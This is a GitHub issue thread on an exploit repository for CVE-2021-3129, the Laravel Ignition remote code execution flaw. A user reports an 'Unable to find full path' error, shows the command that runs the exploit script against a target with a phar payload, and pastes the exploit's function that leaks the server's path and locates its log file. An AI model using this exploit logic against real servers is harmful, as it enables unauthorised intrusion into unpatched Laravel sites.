ambionics / laravel-exploits

Exploit for CVE-2021-3129
264 stars 62 forks source link

Unable to find full path #4

Closed Jamalc0m closed 1 month ago

Jamalc0m commented 2 years ago

When running the script against the target, I'm getting the below error: ./laravel-ignition-rce.py https://www.targer.com/ /tmp/exploit.phar

"- Unable to find full path "

def get_log_path(self): r = self.run_wrapper('DOESNOTEXIST') match = re.search(r'"file":"(\/[^"]+?)\/vendor\/[^"]+?"', r.text) if not match: self.failure('Unable to find full path') path = match.group(1).replace('\/', '/') path = f'{path}/storage/logs/laravel.log' r = self.run_wrapper(path) if r.status_code != 200: self.failure('Log file does not exist: {}', path)